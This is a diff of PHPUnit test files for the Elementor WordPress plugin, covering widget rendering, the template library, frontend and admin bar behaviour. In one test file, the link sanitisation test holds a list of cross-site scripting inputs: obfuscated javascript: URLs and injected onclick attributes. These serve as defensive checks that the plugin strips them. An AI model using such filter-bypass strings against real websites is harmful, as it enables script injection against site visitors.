use Elementor\Core\Frontend\RenderModes\Render_Mode_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Mock_Static_Render_Mode extends Render_Mode_Base {
public static function get_name() {
return 'mock';
}
public function get_permissions_callback() {
return true;
}
public function is_static() {
return true;
}
}

View File

@@ -0,0 +1,22 @@
<?php
namespace Elementor\Tests\Phpunit\Includes\Base\Mock;
use Elementor\Widget_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Mock_Widget extends Widget_Base {
public function get_name() {
return 'mock-widget';
}
protected function render() {
echo 'render';
}
protected function render_static() {
echo 'render_static';
}
}

View File

@@ -0,0 +1,181 @@
<?php
namespace Elementor\Tests\Phpunit\Includes\Base;
use Elementor\Plugin;
use Elementor\Frontend;
use Elementor\Testing\Elementor_Test_Base;
class Elementor_Test_Element_Base extends Elementor_Test_Base {
/**
* @var array
*/
static $element_mock = [
'id' => '5a1e8e5',
'elType' => 'widget',
'isInner' => false,
'settings' => [ 'text' => 'Click here', ],
'elements' => [],
'widgetType' => 'button',
];
static $urls = [
'absolute_http' => [
'test' => 'http://test.com',
'results' => 'http://test.com',
],
'absolute_https' => [
'test' => 'https://test.com',
'results' => 'https://test.com',
],
'absolute_no_scheme' => [
'test' => '//test.com',
'results' => '//test.com',
],
'javascript' => [
'test' => 'javascript:alert()',
'results' => '',
],
'javascript_javascript' => [
'test' => 'javascript:javascript:alert()',
'results' => '',
],
'javajavascript_script' => [
'test' => 'javajavascript:script:alert()',
'results' => '',
],
'javascript_case_sensitive' => [
'test' => 'JaVaScript:alert()',
'results' => '',
],
'javascript_special_characters1' => [
'test' => 'javas cript:alert()',
'results' => '',
],
'javascript_special_characters2' => [
'test' => 'javascript :alert()',
'results' => '',
],
'javascript_special_characters3' => [
'test' => 'jA&#x0A;Vas&#099;&#000000114;&#00105;&#X70;&#000000000000000000000116;:alert()',
'results' => '',
],
'relative' => [
'test' => '/test',
'results' => '/test',
],
'hash' => [
'test' => '#test',
'results' => '#test',
],
'mailto' => [
'test' => 'mailto:test@test.test',
'results' => 'mailto:test@test.test',
],
'tel' => [
'test' => 'tel:123456',
'results' => 'tel:123456',
],
'elementor_action' => [
'test' => '#elementor-action%3Aaction%3Dpopup%3Aopen%26settings%3DeyJpZCI6IjExODgiLCJ0b2dnbGUiOmZhbHNlfQ%3D%3D',
'results' => '#elementor-action%3Aaction%3Dpopup%3Aopen%26settings%3DeyJpZCI6IjExODgiLCJ0b2dnbGUiOmZhbHNlfQ%3D%3D',
],
];
// Valid/not valid custom attributes.
static $custom_attributes = [
'rel' => [
'test' => 'rel|noreferrer',
'results' => 'rel="noreferrer"',
],
'download' => [
'test' => 'download|filename',
'results' => 'download="filename"',
],
'title' => [
'test' => 'title|Learn More',
'results' => 'title="Learn More"',
],
'style' => [
'test' => 'style|color:red',
'results' => 'style="color:red"',
],
'data' => [
'test' => 'data-id|8',
'results' => 'data-id="8"',
],
'onclick' => [
'test' => 'onclick|alert()',
'results' => '',
],
'onclick_prefix' => [
'test' => 'test onclick|alert()',
'results' => 'test="alert()"',
],
'onclick_slash_prefix' => [
'test' => 'test/onclick|alert()',
'results' => 'test="alert()"',
],
'onclick_spaces' => [
'test' => ' onclick|alert()',
'results' => '',
],
'onclick_quotes_prefix' => [
'test' => '""onclick|alert()',
'results' => '',
],
'onclick_no_pipe' => [
'test' => 'onclick="alert()"',
'results' => '',
],
'onclick_no_pipe_with_prefix' => [
'test' => '"test"="1"onclick="alert()"',
'results' => 'test=""',
],
'onclick_as_a_value' => [
'test' => 'test|"onclick=alert()',
'results' => 'test="&quot;onclick=alert()"',
],
];
public function test_add_link_attributes() {
$element = Plugin::$instance->elements_manager->create_element_instance( self::$element_mock );
foreach ( self::$urls as $type => $config ) {
$element->add_link_attributes( $type, [
'url' => $config['test'],
] );
$results = $element->get_render_attributes( $type );
$this->assertEquals( $config['results'], $results['href'][0], 'Test ' . $type );
}
}
public function test_add_link_custom_attributes() {
$element = Plugin::$instance->elements_manager->create_element_instance( self::$element_mock );
foreach ( self::$custom_attributes as $type => $config ) {
$element->add_link_attributes( $type, [
'custom_attributes' => $config['test'],
] );
$results = $element->get_render_attribute_string( $type );
$this->assertEquals( $config['results'], $results, 'Test ' . $type );
}
}
public function test_add_invisible_class_attribute_when_animation_on() {
$element = Plugin::$instance->elements_manager->create_element_instance( self::$element_mock );
$element->set_settings( 'animation', true );
ob_start();
$element->print_element();
ob_end_clean();
$this->assertTrue( in_array( 'elementor-invisible', $element->get_render_attributes( '_wrapper', 'class' ) ) );
}
}

View File

@@ -0,0 +1,108 @@
<?php
namespace Elementor\Tests\Phpunit\Includes\Base;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Core\Frontend\Render_Mode_Manager;
use Elementor\Core\Frontend\RenderModes\Render_Mode_Base;
use Elementor\Tests\Phpunit\Includes\Base\Mock\Mock_Skin;
use Elementor\Tests\Phpunit\Includes\Base\Mock\Mock_Widget;
use Elementor\Tests\Phpunit\Includes\Base\Mock\Mock_Static_Render_Mode;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Widget_Base extends Elementor_Test_Base {
/**
* @var Render_Mode_Base
*/
protected $default_render_mode;
public function setUp() {
parent::setUp();
$this->default_render_mode = Plugin::$instance->frontend->render_mode_manager;
}
public function tearDown() {
parent::tearDown();
Plugin::$instance->frontend->render_mode_manager = $this->default_render_mode;
}
public function test_render_content__should_render_static() {
require_once __DIR__ . '/mock/mock-widget.php';
$this->arrange_static_render_mode();
$widget = new Mock_Widget( [ 'settings' => [], 'id' => '1' ], [] );
ob_start();
$widget->render_content();
$this->assertRegExp( '/render_static/', ob_get_clean() );
}
public function test_render_content__should_render_normally() {
require_once __DIR__ . '/mock/mock-widget.php';
$widget = new Mock_Widget( [ 'settings' => [], 'id' => '1' ], [] );
ob_start();
$widget->render_content();
$this->assertRegExp( '/render/', ob_get_clean() );
}
public function test_render_content__should_render_skin_static() {
require_once __DIR__ . '/mock/mock-widget.php';
require_once __DIR__ . '/mock/mock-skin.php';
$this->arrange_static_render_mode();
$widget = new Mock_Widget( [ 'settings' => ['_skin' => 'mock-skin'], 'id' => '1' ], [] );
Plugin::$instance->skins_manager->add_skin($widget, new Mock_Skin($widget));
ob_start();
$widget->render_content();
$this->assertRegExp( '/render_skin_static/', ob_get_clean() );
}
public function test_render_content__should_render_skin_normally() {
require_once __DIR__ . '/mock/mock-widget.php';
require_once __DIR__ . '/mock/mock-skin.php';
$widget = new Mock_Widget( [ 'settings' => ['_skin' => 'mock-skin'], 'id' => '1' ], [] );
Plugin::$instance->skins_manager->add_skin($widget, new Mock_Skin($widget));
ob_start();
$widget->render_content();
$this->assertRegExp( '/render_skin/', ob_get_clean() );
}
protected function arrange_static_render_mode() {
require_once __DIR__ . '/mock/mock-static-render-mode.php';
$post = $this->factory()->create_and_get_default_post();
// Prepare static mode render mode
add_action( 'elementor/frontend/render_mode/register', function ( Render_Mode_Manager $manager ) {
$manager->register_render_mode( Mock_Static_Render_Mode::class );
} );
$_GET[ Render_Mode_Manager::QUERY_STRING_POST_ID ] = $post->ID;
$_GET[ Render_Mode_Manager::QUERY_STRING_PARAM_NAME ] = Mock_Static_Render_Mode::get_name();
$_GET[ Render_Mode_Manager::QUERY_STRING_NONCE_PARAM_NAME ] = wp_create_nonce( Render_Mode_Manager::get_nonce_action( $post->ID ) );
Plugin::$instance->frontend->render_mode_manager = new Render_Mode_Manager();
}
}

View File

@@ -0,0 +1,37 @@
<?php
namespace Elementor\Tests\Phpunit\Includes\Settings;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Core\Files\CSS\Global_CSS;
class Test_Settings extends Elementor_Test_Base {
public function test_clear_css_cache_on_update_css_settings() {
$css_settings = [
'elementor_disable_color_schemes',
'elementor_disable_typography_schemes',
'elementor_css_print_method',
];
foreach ( $css_settings as $option_name ) {
$global_css = Global_CSS::create( 'global.css' );
$global_css->update();
$meta = $global_css->get_meta();
$this->assertEquals( Global_CSS::CSS_STATUS_EMPTY, $meta['status'] );
// Assert add_option.
add_option ( $option_name, 'test_value' );
$meta = $global_css->get_meta();
$this->assertEquals( '', $meta['status'], 'global css should be empty after add option: ' . $option_name );
// Assert update_option.
update_option ( $option_name, 'another_test_value' );
$meta = $global_css->get_meta();
$this->assertEquals( '', $meta['status'], 'global css should be empty after update option: ' . $option_name );
delete_option ( $option_name );
}
}
}

View File

@@ -0,0 +1,41 @@
<?php
namespace Elementor\Testing\Includes;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
class Test_Local extends Elementor_Test_Base {
/**
* @var \Elementor\TemplateLibrary\Source_Local
*/
private $source;
public function setUp() {
parent::setUp();
$this->source = Plugin::$instance->templates_manager->get_source( 'local' );
}
public function test_maybe_render_blank_state() {
// Arrange - fake globals.
global $post_type, $wp_list_table;
$wp_list_table = _get_list_table( 'WP_Posts_List_Table' , array( 'screen' => 'edit-page' ) );
$post_type = 'post';
// Act.
ob_start();
$this->source->maybe_render_blank_state( 'bottom', [
'cpt' => $post_type,
'post_type' => $post_type,
] );
$output = ob_get_clean();
// Assert
$this->assertContains( 'elementor-template-library-add-new', $output );
// Clean - globals.
$post_type = null;
$wp_list_table = null;
}
}

View File

@@ -0,0 +1,165 @@
<?php
namespace Elementor\Testing\Includes\TemplateLibrary;
use Elementor\TemplateLibrary\Manager;
use Elementor\Testing\Elementor_Test_Base;
class Elementor_Test_Manager_General extends Elementor_Test_Base {
/**
* @var Manager
*/
protected static $manager;
private $fake_post_id = '123';
public static function setUpBeforeClass() {
self::$manager = self::elementor()->templates_manager;
}
public function test_should_return_import_images_instance() {
$this->assertEquals( self::$manager->get_import_images_instance(), new \Elementor\TemplateLibrary\Classes\Import_Images() );
}
public function test_should_return_wp_error_source_class_name_not_exists_from_register_source() {
$this->assertWPError( self::$manager->register_source( 'invalid class' ), 'source_class_name_not_exists' );
}
public function test_should_return_wp_error_wrong_instance_source_from_register_source() {
$this->assertWPError( self::$manager->register_source( 'Elementor\Core\Common\Modules\Ajax\Module' ), 'wrong_instance_source' );
}
public function test_should_fail_to_return_source() {
$this->assertFalse( self::$manager->get_source( 'invalid source' ) );
}
public function test_should_return_wp_error_arguments_not_specified_from_save_template() {
$this->assertWPError(
self::$manager->save_template( [ 'post_id' => $this->fake_post_id ] ), 'arguments_not_specified'
);
}
public function test_should_return_wp_error_template_error_from_save_template() {
$this->assertWPError(
self::$manager->save_template(
[
'post_id' => $this->fake_post_id,
'source' => 'invalid source',
'content' => 'content',
'type' => 'page',
]
),
'template_error'
);
}
public function test_should_return_wp_error_arguments_not_specified_from_update_template() {
$this->assertWPError(
self::$manager->update_template( [ 'post_id' => $this->fake_post_id ] ), 'arguments_not_specified'
);
}
public function test_should_return_wp_error_template_error_from_update_template() {
$this->assertWPError(
self::$manager->update_template(
[
'source' => 'invalid source',
'content' => 'content',
'type' => 'page',
]
),
'template_error'
);
}
public function test_should_return_wp_error_update_templates() {
$templates = [
'templates' => [
[
'source' => 'invalid content 1 ',
'content' => 'content',
'type' => 'comment',
'id' => $this->fake_post_id,
],
[
'source' => 'invalid content 2',
'content' => 'content',
'type' => 'comment',
'id' => $this->fake_post_id,
],
],
];
$this->assertWPError( self::$manager->update_templates( $templates ) );
}
public function test_should_return_true_from_update_templates() {
wp_set_current_user( $this->factory()->create_and_get_administrator_user()->ID );
$templates = [
'templates' => [
[
'source' => 'local',
'content' => 'content',
'type' => 'page',
'id' => $this->factory()->create_and_get_default_post()->ID,
],
[
'source' => 'local',
'content' => 'content',
'type' => 'comment',
'id' => $this->factory()->create_and_get_default_post()->ID,
],
],
];
$this->assertTrue( self::$manager->update_templates( $templates ) );
}
public function test_should_return_wp_error_massage_arguments_not_specified_from_get_template_data() {
$this->assertWPError( self::$manager->get_template_data( [] ), 'arguments_not_specified' );
}
public function test_should_return_wp_error_massage_template_error_from_get_template_data() {
$this->assertWPError(
self::$manager->get_template_data(
[
'source' => 'invalid source',
'template_id' => $this->fake_post_id,
'edit_mode' => true,
]
), 'template_error'
);
}
public function test_should_return_wp_error_arguments_not_specified_from_delete_template() {
$this->assertWPError( self::$manager->delete_template( [] ), 'arguments_not_specified' );
}
public function test_should_return_wp_error_template_error_from_delete_template() {
$this->assertWPError(
self::$manager->delete_template(
[
'source' => 'invalid source',
'template_id' => $this->fake_post_id,
]
), 'template_error'
);
}
public function test_should_return_wp_error_arguments_not_specified_from_export_template() {
$this->assertWPError( self::$manager->export_template( [] ), 'arguments_not_specified' );
}
public function test_should_return_wp_error_template_error_from_export_template() {
$this->assertWPError(
self::$manager->export_template(
[
'source' => 'invalid source',
'template_id' => $this->fake_post_id,
]
), 'template_error'
);
}
}

View File

@@ -0,0 +1,217 @@
<?php
namespace Elementor\Testing\Includes\TemplateLibrary;
use Elementor\Plugin;
use Elementor\TemplateLibrary\Manager;
use Elementor\Testing\Elementor_Test_Base;
class Elementor_Test_Manager_Local extends Elementor_Test_Base {
/**
* @var Manager
*/
protected static $manager;
private $fake_post_id = '123';
public static function setUpBeforeClass() {
self::$manager = self::elementor()->templates_manager;
}
public function setUp() {
parent::setUp();
wp_set_current_user( $this->factory()->get_administrator_user()->ID );
}
public function test_should_return_registered_sources() {
$this->assertEquals( self::$manager->get_registered_sources()['local'], new \Elementor\TemplateLibrary\Source_Local() );
}
public function test_should_return_source() {
$this->assertEquals( self::$manager->get_source( 'local' ), new \Elementor\TemplateLibrary\Source_Local() );
}
public function test_should_return_wp_error_save_error_from_save_template() {
wp_set_current_user( $this->factory()->get_subscriber_user()->ID );
$this->assertWPError(
self::$manager->save_template(
[
'post_id' => $this->fake_post_id,
'source' => 'local',
'content' => 'content',
'type' => 'comment',
]
), 'save_error'
);
}
public function test_should_return_template_data_from_save_template() {
wp_set_current_user( $this->factory()->create_and_get_administrator_user()->ID );
$template_data = [
'post_id' => $this->factory()->get_default_post()->ID,
'source' => 'local',
'content' => 'content',
'type' => 'page',
];
$remote_remote = [
'template_id',
'source',
'type',
'title',
'thumbnail',
'hasPageSettings',
'tags',
'url',
];
$saved_template = self::$manager->save_template( $template_data );
$this->assertArrayHaveKeys( $remote_remote, $saved_template );
}
public function test_should_return_wp_error_arguments_not_specified_from_update_template() {
$this->assertWPError( self::$manager->update_template( [ 'post_id' => $this->fake_post_id ] ), 'arguments_not_specified' );
}
public function test_should_return_wp_error_template_error_from_update_template() {
$this->assertWPError(
self::$manager->update_template(
[
'source' => 'content',
'content' => 'content',
'type' => 'page',
]
), 'template_error'
);
}
public function test_should_return_wp_error_save_error_from_update_template() {
wp_set_current_user( $this->factory()->get_subscriber_user()->ID );
$this->assertWPError(
self::$manager->update_template(
[
'source' => 'local',
'content' => 'content',
'type' => 'comment',
'id' => $this->fake_post_id,
]
), 'save_error'
);
}
/**
*
*/
public function test_should_return_template_data_from_update_template() {
wp_set_current_user( $this->factory()->create_and_get_administrator_user()->ID );
$post_id = $this->factory()->create_and_get_default_post()->ID;
$template_data = [
'source' => 'local',
'content' => 'content',
'type' => 'post',
'id' => $post_id,
];
$remote_remote = [
'template_id',
'source',
'type',
'title',
'thumbnail',
'author',
'hasPageSettings',
'tags',
'url',
];
$updated_template = self::$manager->update_template( $template_data );
$this->assertArrayHaveKeys( $remote_remote, $updated_template );
}
/**
* @covers \Elementor\TemplateLibrary\Manager::get_template_data()
*/
public function test_should_return_data_from_get_template_data() {
$ret = self::$manager->get_template_data(
[
'source' => 'local',
'template_id' => $this->fake_post_id,
]
);
$this->assertEquals( $ret, [ 'content' => [] ] );
}
public function test_get_data__document_without_data() {
// Arrange
$is_edit_mode = Plugin::$instance->editor->is_edit_mode();
Plugin::$instance->editor->set_edit_mode( false );
$post = $this->factory()->create_and_get_custom_post( [
'meta_input' => [
'_elementor_data' => [],
],
] );
// Act
$result = Plugin::$instance->templates_manager->get_source( 'local' )->get_data( [
'template_id' => $post->ID,
] );
// Assert
$this->assertArrayHasKey( 'content', $result );
$this->assertTrue( is_array( $result['content'] ) );
$this->assertEmpty( $result['content'] );
Plugin::$instance->editor->set_edit_mode( $is_edit_mode );
}
public function test_get_data() {
// Arrange
$post = $this->factory()->create_and_get_custom_post( [
'meta_input' => [
'_elementor_data' => [
[
'id' => 'test',
'elType' => 'section',
],
],
],
] );
// Act
$result = Plugin::$instance->templates_manager->get_source( 'local' )->get_data( [
'template_id' => $post->ID,
] );
// Assert
$this->assertArrayHasKey( 'content', $result );
$this->assertArrayHaveKeys( [ 'id', 'elType' ], $result['content'][0] );
$this->assertArrayNotHaveKeys(
[ 'settings', 'elements', 'isInner' ],
$result['content'][0],
'should NOT have those keys if display is not exists in the args'
);
$this->assertEquals( 'section', $result['content'][0]['elType'] );
$this->assertNotEquals( 'test', $result['content'][0]['id'], 'The id should be regenerate in get_data method' );
// Act
$result = Plugin::$instance->templates_manager->get_source( 'local' )->get_data( [
'template_id' => $post->ID,
'display' => true,
] );
// Assert
$this->assertArrayHasKey( 'content', $result );
$this->assertArrayHaveKeys( [ 'id', 'elType' ], $result['content'][0] );
$this->assertArrayHaveKeys(
[ 'settings', 'elements', 'isInner' ],
$result['content'][0],
'SHOULD have those keys if display is exists in the args'
);
$this->assertEquals( 'section', $result['content'][0]['elType'] );
$this->assertNotEquals( 'test', $result['content'][0]['id'], 'The id should be regenerate in get_data method' );
}
}

View File

@@ -0,0 +1,69 @@
<?php
namespace Elementor\Testing\Includes\TemplateLibrary;
use Elementor\Testing\Elementor_Test_Base;
class Elementor_Test_Manager_Remote extends Elementor_Test_Base {
/**
* @var \Elementor\TemplateLibrary\Manager
*/
protected static $manager;
private $fake_template_id = '777';
public static function setUpBeforeClass() {
self::$manager = self::elementor()->templates_manager;
}
public function test_should_mark_template_as_favorite() {
$this->assertFalse(
self::$manager->mark_template_as_favorite(
[
'source' => 'remote',
'template_id' => $this->fake_template_id,
'favorite' => 'false',
]
)
);
}
public function test_should_return_source() {
$this->assertInstanceOf( '\Elementor\TemplateLibrary\Source_Remote', self::$manager->get_source( 'remote' ) );
}
public function test_should_return_wp_error_from_save_template() {
$template_data = [
'post_id' => $this->fake_template_id,
'source' => 'remote',
'content' => 'content',
'type' => 'page',
];
$this->assertWPError( self::$manager->save_template( $template_data ), 'cannot save template from remote source' );
}
public function test_should_return_wp_error_from_update_template() {
wp_set_current_user( $this->factory()->get_administrator_user()->ID );
$template_data = [
'source' => 'remote',
'content' => 'content',
'type' => 'comment',
'id' => $this->fake_template_id,
];
$this->assertWPError( self::$manager->update_template( $template_data ), 'cannot update template from remote source' );
}
public function test_should_return_wp_error_from_delete_template() {
$this->assertWPError(
self::$manager->delete_template(
[
'source' => 'remote',
'template_id' => $this->fake_template_id,
]
), 'cannot delete template from remote source'
);
}
}

View File

@@ -0,0 +1,73 @@
<?php
namespace Elementor\Testing\Includes;
use Elementor\Plugin;
use Elementor\Frontend;
use Elementor\Testing\Elementor_Test_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Frontend extends Elementor_Test_Base {
public function test_get_builder_content__should_switch_back_to_to_the_last_document() {
$main_document = $this->factory()->documents->create_and_get();
$sub_document = $this->factory()->documents->create_and_get();
Plugin::$instance->documents->switch_to_document( $main_document );
Plugin::$instance->frontend->get_builder_content( $sub_document->get_id() );
$this->assertEquals( $main_document->get_id(), Plugin::$instance->documents->get_current()->get_id() );
}
public function test_get_builder_content__should_switch_back_to_the_last_document_for_empty_document() {
$main_document = $this->factory()->documents->create_and_get();
$sub_document = $this->factory()->documents->create_and_get( [ 'meta_input' => [ '_elementor_data' => null ] ] );
Plugin::$instance->documents->switch_to_document( $main_document );
Plugin::$instance->frontend->get_builder_content( $sub_document->get_id() );
$this->assertEquals( $main_document->get_id(), Plugin::$instance->documents->get_current()->get_id() );
}
public function test_body_classes() {
// Arrange
$document = $this->factory()->documents->publish_and_get();
query_posts( [
'p' => $document->get_id(),
] );
the_post();
$frontend = new Frontend();
// Act
$result = $frontend->body_class( [] );
// Assert
$this->assertTrue( in_array( 'elementor-default', $result, true ) );
$this->assertTrue( in_array( 'elementor-page elementor-page-' . $document->get_id() , $result, true ) );
}
public function test_body_classes__when_the_post_is_not_edit_with_elementor() {
// Arrange
$post = $this->factory()->post->create_and_get();
query_posts( [
'p' => $post->ID,
] );
the_post();
$frontend = new Frontend();
// Act
$result = $frontend->body_class( [] );
// Assert
$this->assertTrue( in_array( 'elementor-default', $result, true ) );
$this->assertFalse( in_array( 'elementor-page elementor-page-' . $post->ID , $result, true ) );
}
}

View File

@@ -0,0 +1,183 @@
<?php
namespace Elementor\Testing\Includes;
use Elementor\Plugin;
use Elementor\Utils;
use Elementor\Testing\Elementor_Test_Base;
class Elementor_Test_Utils extends Elementor_Test_Base {
const BASE_LINK = 'https://elementor.com/pro/?utm_source=wp-role-manager&utm_campaign=gopro&utm_medium=wp-dash';
public function test_should_return_elementor_pro_link() {
$this->assertSame( self::BASE_LINK . '&utm_term=twentynineteen', Utils::get_pro_link( self::BASE_LINK ) );
}
public function test_should_return_source_of_placeholder_image() {
$this->assertSame( ELEMENTOR_ASSETS_URL . 'images/placeholder.png', Utils::get_placeholder_image_src() );
}
public function test_should_return_edit_link() {
$post_id = $this->factory()->create_and_get_default_post()->ID;
$document = Plugin::$instance->documents->get( $post_id );
$edit_link = $document->get_edit_url();
$this->assertContains( '/post.php?post=', $edit_link );
$this->assertContains( '&action=elementor', $edit_link );
}
/**
* @todo need to test when DOING_AJAX is 100% defined and when it's not.
*/
public function test_should_confirm_ajax() {
if ( defined( 'DOING_AJAX' ) ) {
$this->assertTrue( wp_doing_ajax() );
} else {
$this->assertFalse( wp_doing_ajax() );
}
}
public function test_should_return_false_from_is_script_debug() {
$this->assertSame( Utils::is_script_debug(), defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG );
}
public function test_should_get_preview_url() {
$post_id = $this->factory()->create_and_get_default_post()->ID;
$preview_url = Plugin::$instance->documents->get( $post_id )->get_preview_url();
$this->assertContains( '/?p=', $preview_url );
$this->assertContains( '&elementor-preview=', $preview_url );
$this->assertContains( '&ver=', $preview_url );
}
public function test_should_get_wordpress_preview_url() {
$post_id = $this->factory()->create_and_get_default_post()->ID;
$wp_preview_url = Plugin::$instance->documents->get( $post_id )->get_wp_preview_url();
$this->assertContains( '/?p=', $wp_preview_url );
$this->assertContains( '&preview_nonce=', $wp_preview_url );
$this->assertContains( '&preview=', $wp_preview_url );
}
/**
* @throws \Exception
*/
public function test_should_replace_0_urls() {
$this->assertSame( '0 rows affected.', Utils::replace_urls( 'http://' . home_url() . '/elementor', 'https://' . home_url() . '/elementor' ) );
}
/**
* @expectedExceptionMessage The `from` and `to` URL's must be different
* @expectedException \Exception
* @throws \Exception
*/
public function test_should_throw_error_because_urls_are_equal() {
//$this->expectExceptionMessage( 'The `from` and `to` URL\'s must be different' );
Utils::replace_urls( 'http://' . home_url() . '/elementor', 'http://' . home_url() . '/elementor' );
}
/**
* @expectedExceptionMessage The `from` and `to` URL's must be valid URL's
* @expectedException \Exception
* @throws \Exception
*/
public function test_should_throw_error_because_urls_are_invalid() {
Utils::replace_urls( 'elementor', '/elementor' );
}
public function test_should_not_get_exit_to_dashboard_url() {
$post_id = $this->factory()->create_and_get_default_post()->ID;
$this->assertNull( Plugin::$instance->documents->get( $post_id )->get_exit_to_dashboard_url() );
}
public function test_should_get_updated_timezone_string() {
for ( $time_offset = 0; $time_offset < 13; $time_offset++ ) {
update_option( 'gmt_offset', $time_offset );
$this->assertSame( "UTC+$time_offset", Utils::get_timezone_string() );
}
}
public function test_should_get_timezone_string_default_option() {
delete_option( 'timezone_string' );
delete_option( 'gmt_offset' );
$this->assertSame( 'UTC+0', Utils::get_timezone_string() );
}
public function test_should_get_negative_timezone_string() {
for ( $time_offset = -1; $time_offset > -13; $time_offset-- ) {
update_option( 'gmt_offset', $time_offset );
$this->assertSame( "UTC$time_offset", Utils::get_timezone_string() );
}
}
public function test_should_get_when_and_how_edited_the_post_last() {
$post_id = $this->factory()->create_and_get_default_post()->ID;
$this->assertRegExp( '/Last edited on \<time\>.*\<\/time\>\ by .*/', Plugin::$instance->documents->get( $post_id )->get_last_edited() );
}
public function test_should_get_post_auto_save() {
$posts = $this->factory()->create_and_get_parent_and_child_posts();
$this->assertEquals( $posts['child_id'], Utils::get_post_autosave( $posts['parent_id'], $posts['user_id'] )->ID );
}
public function test_should_create_and_get_new_post_url() {
$new_post_url = esc_url( Utils::get_create_new_post_url() );
$this->assertContains( 'edit.php?action=elementor_new_post&#038;post_type=', $new_post_url );
$this->assertContains( '&#038;_wpnonce=', $new_post_url );
}
public function test_getYoutubeId() {
$youtube_id = '9uOETcuFjbE';
$youtube_urls = [
'https://www.youtube.com/watch?v=' . $youtube_id,
'https://www.youtube.com/watch?v=' . $youtube_id . '&feature=player_embedded',
'https://youtu.be/' . $youtube_id,
];
foreach ( $youtube_urls as $youtube_url ) {
$video_properties = \Elementor\Embed::get_video_properties( $youtube_url );
$this->assertEquals( $youtube_id, $video_properties['video_id'] );
}
$this->assertNull( \Elementor\Embed::get_video_properties( 'https://www.youtube.com/' ) );
}
/**
* Test Should Receive a string with HTML entities and return the string with the HTML Entities decoded
*
* This tests the urlencode_html_entities() utility method, to see that it properly decodes HTML Entities and then correctly URL-encodes them to be used in URLs, such as social media sharing
*/
public function test_should_return_decoded_string() {
// This is a filter from the WordPress core wp_get_document_title() function.
// The filter is used here to make the wp_get_document_title() function return our test title.
add_filter( 'document_title_parts', function () {
return [
'title' => '"This is a string" with a variety of HTML entities. \'What?\' & (more) #stupid “things”'
];
} );
$before_encoding = wp_get_document_title();
$valid_encoding = '%22This%20is%20a%20string%22%20with%20a%20variety%20of%20%E2%80%98HTML%20entities%E2%80%99.%20%27What%3F%27%20%26%20%28more%29%20%23stupid%20%E2%80%9Cthings%E2%80%9D';
$after_encoding = Utils::urlencode_html_entities( $before_encoding );
$this->assertSame( $valid_encoding, $after_encoding );
}
public function test_is_empty() {
$this->assertEquals( false, Utils::is_empty('0' ),
"'0' is not empty" );
$this->assertEquals( true, Utils::is_empty('' ),
"'' is empty" );
$this->assertEquals( true, Utils::is_empty( [], 'key' ),
"[] with undefined key, is empty" );
$this->assertEquals( true, Utils::is_empty( [ 'key' => '' ], 'key' ),
"[ 'key' => '' ] is empty" );
$this->assertEquals( false, Utils::is_empty( [ 'key' => '0' ], 'key' ),
"[ 'key' => '0' ] is empty" );
}
}

View File

@@ -0,0 +1,123 @@
<?php
namespace Elementor\Testing\Modules\AdminBar;
use Elementor\Plugin;
use Elementor\Modules\AdminBar\Module;
use Elementor\Testing\Elementor_Test_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Elementor_Test_Module extends Elementor_Test_Base {
/**
* @var Module
*/
protected $module;
protected $fake_document_data = [
'meta_input' => [
'_elementor_edit_mode' => true,
'_elementor_data' => '[{"id":"378e77c", "elType": "section"}]',
],
];
public function setUp() {
parent::setUp();
wp_set_current_user( self::factory()->get_administrator_user()->ID );
$this->module = new Module();
remove_all_filters( 'elementor/frontend/admin_bar/settings' );
}
public function test_enqueue_scripts() {
// Arrange
$document = $this->create_document();
$this->module->add_document_to_admin_bar($document, false);
// Act
$this->module->enqueue_scripts();
do_action( 'wp_enqueue_scripts' );
// Assert
$queue = wp_scripts()->queue;
$admin_bar_key = array_search( 'admin-bar', $queue );
$elementor_admin_bar_key = array_search( 'elementor-admin-bar', $queue );
$this->assertTrue( $admin_bar_key >= 0 );
$this->assertTrue( $elementor_admin_bar_key >= 0 );
$this->assertTrue( $admin_bar_key > $elementor_admin_bar_key );
}
public function test_it_should_returns_a_valid_config() {
$active_document = $this->create_document();
$document = $this->create_document();
query_posts( [ 'p' => $active_document->get_id() ] );
do_action('elementor/frontend/before_get_builder_content', $active_document, false, false);
do_action('elementor/frontend/before_get_builder_content', $document, false, false);
$config = $this->module->get_settings();
$this->assertTrue( isset( $config['elementor_edit_page'] ) );
$editButtonConfig = $config['elementor_edit_page'];
$this->assertEquals( $active_document->get_edit_url(), $editButtonConfig['href'] );
$this->assertCount( 1, $editButtonConfig['children'] );
$this->assertEquals( "elementor_edit_doc_{$document->get_id()}", $editButtonConfig['children'][ $document->get_id() ]['id'] );
}
public function test_it_should_not_add_document_that_is_excerpt() {
$excerpt_document = $this->create_document();
// Emulate an excerpt on frontend.
do_action('elementor/frontend/before_get_builder_content', $excerpt_document, true, false);
$config = $this->module->get_settings();
$this->assertEmpty( $config );
}
public function test_it_should_not_add_document_that_the_settings_show_on_admin_bar_is_false( ) {
$not_supported_document = $this->create_document( [
'meta_input' => [
// The prop 'show_on_admin_bar' of NotSupport document type is false.
'_elementor_template_type' => 'not-supported'
],
] );
do_action('elementor/frontend/before_get_builder_content', $not_supported_document, false, false);
$config = $this->module->get_settings();
$this->assertEmpty( $config );
}
public function test_it_should_not_add_document_if_the_user_cant_edit_the_document() {
wp_set_current_user( self::factory()->get_subscriber_user()->ID );
$document = $this->create_document();
do_action('elementor/frontend/before_get_builder_content', $document, false, false);
$config = $this->module->get_settings();
$this->assertEmpty( $config );
}
private function create_document( $args = [] ) {
return Plugin::$instance->documents->get(
$this->factory()->create_and_get_custom_post(
array_merge_recursive( $this->fake_document_data, $args )
)->ID
);
}
}

View File

@@ -0,0 +1,94 @@
<?php
namespace Elementor\Testing\Modules\CompatibilityTag;
use Elementor\Core\Utils\Version;
use Elementor\Core\Utils\Collection;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Modules\CompatibilityTag\Compatibility_Tag;
use Elementor\Modules\CompatibilityTag\Compatibility_Tag_Report;
